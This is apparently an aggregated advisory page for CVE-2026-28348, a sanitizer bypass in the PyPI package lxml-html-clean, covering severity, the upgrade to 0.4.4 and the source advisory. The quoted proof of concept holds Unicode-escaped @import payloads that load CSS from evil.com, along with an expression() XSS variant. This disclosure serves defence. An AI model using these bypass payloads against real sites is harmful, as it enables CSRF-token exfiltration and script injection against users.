CVE-2026-28348: Lxml html clean Lxml-html-clean Has CSS @import Filter Vulnerability

MODERATE
Advisory Identifier: GHSA-hw26-mmpg-fqfg
CVSS 6.1
CWE-116
Published
Advisory Summary

CVE-2026-28348 is a MODERATE (CVSS 6.1) lxml-html-clean has css @import filter vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Lxml html clean libraries in the PyPI ecosystem. The issue involves lxml-html-clean has css @import filter bypass via unicode escapes. Remediation is available by upgrading affected packages to version 0.4.4.

CVE-2026-28348 at a Glance

CVE Identifier CVE-2026-28348
GHSA Identifier GHSA-hw26-mmpg-fqfg
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product Lxml html clean
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-28348

To remediate this vulnerability, upgrade all affected Lxml html clean dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lxml-html-clean fixed: 0.4.4
pip install lxml-html-clean>=0.4.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show lxml-html-clean

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-28348, inspect your installed packages using pip:

pip show lxml-html-clean

Analyze the terminal output to locate any version of Lxml html clean in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.4), your application is affected.

Note: The pip show lxml-html-clean command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Lxml html clean, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers. ### Details The root cause is located in `clean.py` (around line 594): ```python style = style.replace('\\', '') ``` This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement. Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only). ### PoC ```python from lxml_html_clean import clean_html # Normal @import is correctly blocked: # clean_html('<style>@import url("http://evil.com/x.css");</style>') # Output: <div><style> url("http://evil.com/x.css");</style></div> # Unicode escape bypass: result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>') print(result) # Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div> ``` If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work. ### Impact External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.

CVE-2026-28348 Affected Lxml html clean Versions

1 component(s)
Fixed Versions:
0.4.4
Product / Package Ecosystem Affected Versions Fixed Version
lxml-html-clean
PyPI
< 0.4.4
0.4.4

References

Frequently Asked Questions

What is CVE-2026-28348?
CVE-2026-28348 is a security vulnerability in Lxml html clean involving lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes under CWE-116: Improper Encoding or Escaping of Output.
Which Lxml html clean versions are affected?
Affected versions include releases prior to 0.4.4 across affected packages: lxml-html-clean.
What version fixes CVE-2026-28348?
Upgrading to 0.4.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lxml-html-clean affected?
Yes, lxml-html-clean is affected in releases prior to 0.4.4. Upgrade your dependency to 0.4.4 or later.
What is the CVSS score of CVE-2026-28348?
CVE-2026-28348 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-28348?
CVE-2026-28348 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check PyPI dependencies for CVE-2026-28348?
Run the dependency tree command: 'pip show lxml-html-clean'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hw26-mmpg-fqfg",
  "modified" : "2026-03-05T22:49:20Z",
  "published" : "2026-03-02T19:19:15Z",
  "aliases" : [ "CVE-2026-28348" ],
  "summary" : "lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes",
  "details" : "### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace('\\\\', '')\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html('<style>@import url(\"http://evil.com/x.css\");</style>')\n# Output: <div><style> url(\"http://evil.com/x.css\");</style></div>\n\n# Unicode escape bypass:\nresult = clean_html('<style>@\\\\69mport url(\"http://evil.com/x.css\");</style>')\nprint(result)\n# Output: <div><style>@\\69mport url(\"http://evil.com/x.css\");</style></div>\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lxml-html-clean"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.4.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28348"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fedora-python/lxml_html_clean"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-02T19:19:15Z",
    "nvd_published_at" : "2026-03-05T20:16:16Z"
  }
}